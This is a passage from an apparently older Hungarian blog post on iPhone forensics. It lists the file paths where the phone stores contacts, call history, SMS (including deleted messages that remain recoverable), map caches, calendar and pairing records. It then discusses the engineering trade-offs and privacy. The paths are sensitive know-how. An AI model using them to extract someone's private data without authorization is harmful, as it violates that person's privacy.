• Időpecsétek. A HFS fájlrendszer pecsétjei standard linuxosak, triviálisan konvertálhatóak "normál" dátumokká - mivel az iPhone nem ad lehetőséget arra, hogy a felhasználó manipulálja a pecséteket, nagy valószínűséggel igaziak a stampek.
  
• GeoTagging. Az iPhone képes arra, hogy feltaggelje a készített képeket GPS koordinátákkal.
  
• Address Book Contacts. /mobile/Library/AddressBook/AddressBook.sqlitedb alatt található, és az, ami a neve.
• Google Maps Data. Külön is érdemes megemlékezni erről a funkcióról: az eszköz eltárolja a google maps keresések eredményeképp készült térképeket, ezek pedig kis szerencsével hónapokig nem íródnak felül. /mobile/Library/Caches/MapTiles/MapTiles.sqlitedb
• Naptár. A naptár a /mobile/Library/Calendar/Calendar.sqlitedb helyen található, bővebb kommentár nem szükséges hozzá.
• Hívás history. No comment. /mobile/Library/CallHistory/call_history.db, azért nagyon alattomos a dolog, ugyanis bár a telefon kijelzőjén nem látszik, nagy valószínűséggel az összes hívást megőrzi az adatbázis.
• SMS adatbázis. Ebből töröl a rendszer fizikailag, viszont nem azonnal: gyakran napokkal a törlés után is kibányászhatóak üzenetek a /mobile/Library/SMS/sms.db könyvtárból.
• Számítógéppel, illetve egyéb eszközökkel végzett párosítások nyomai. Valahányszor párosítjuk az eszközt egy másikkal, vagy számítógéppel, nyomokat hagyunk. A /var/root/Library/Lockdown/pair_records könyvtárban találhatóak meg az azonosítók a párosított eszközöhöz - ehhez persze kell a párosított eszköz is, hogy bizonyítható legyen a kapcsolat a kettő között.

További irodalom:
http://oreilly.com/catalog/9780596153588/
http://www.oreillynet.com/pub/e/949

UPDATE:
Többen kérdezték, hogy "de hát miért nem csinálták meg normálisra az egészet?" A válasz egyszerű:

1. Ahhoz, hogy egy iPhone-ból ki lehessen bányászni a fenti adatokat, (NAGYON) sok munka és speciális eszközök szükségesek. A forensic analízist nem is szokták emiatt túl gyakran alkalmazni, csak igazságügyi eljárás során (vagy egyéb okból, ami megéri a szükséges szaktudás megfizetését) használatos. Nem mondom, hogy lehetetlen, hogy pont olyasvalakihez kerül a készüléked, aki végig tudja és akarja is csinálni az egész folyamatot, de ennek a valószínűsége meglehetősen csekély.
   
2. Mint minden a mérnöki tudományok eredményeiben, az adatok tárolási módja is kompromisszumok eredménye. A kütyük nagy része saját energiaforrással bír, és a tervezéskor jóval fontosabb szempont a telep élettartama, mint a tárolt adatok biztonsága: emiatt nem írják felül az eszközök a fájlokat fizikailag, ugyanis a memóriába írás erősen telepintenzív művelet. Ha minden fájltörléskor kiwipe-olná az iPhone a törölt bájtokat, lecsökkenne a telep élettartama, azonkívül jóval lassúbb is lenne a felhasználói élmény.
3. A "normálisra megcsinálás" a levélíró álláspontja szerint (bár ezt ő konkrétan nem írta le, de a levélből kitalálható) azt jelenti, hogy a készülék semmilyen módon nem tárol olyan adatot, amely a tulajdonos szokásaira, életmódjára, tevékenységére enged következtetni. Méltányolható a vélemény: szerencsére senki sincs rákényszerítve, hogy iPhone-t vásároljon, illetve használjon, a választás szabadsága adott. A fentihez hasonló írások elsősorban információs célzattal íródtak, hogy legalább információ álljon rendelkezésre a tudatos választáshoz.
4. Személyes vélemény a végére: mindenkinek megvan a magánélethez való joga. Csakhogy. Bármit teszel, bármit mondasz, nyomot hagy a világban és ha valaki akarja, akkor bizony az egész életedet fel tudja térképezni - csak pénz, idő és energia kell hozzá végtelen. Addig viszont, amíg saját magadról pakolsz fel képeket az iwiw-re, jelölöd be, hogy kivel voltál tavaly Tisza-túrán, kommentelsz a gondolataidról mindenféle blogokon, vagy te magad adod meg a telefonszámodat, lakcímedet a pizzafutárnak, értelmetlen azon pánikba esni, hogy a szükséges tudással, elszántsággal és eszközkészlettel rendelkező forensic expert mit tud kihámozni a telefonodból.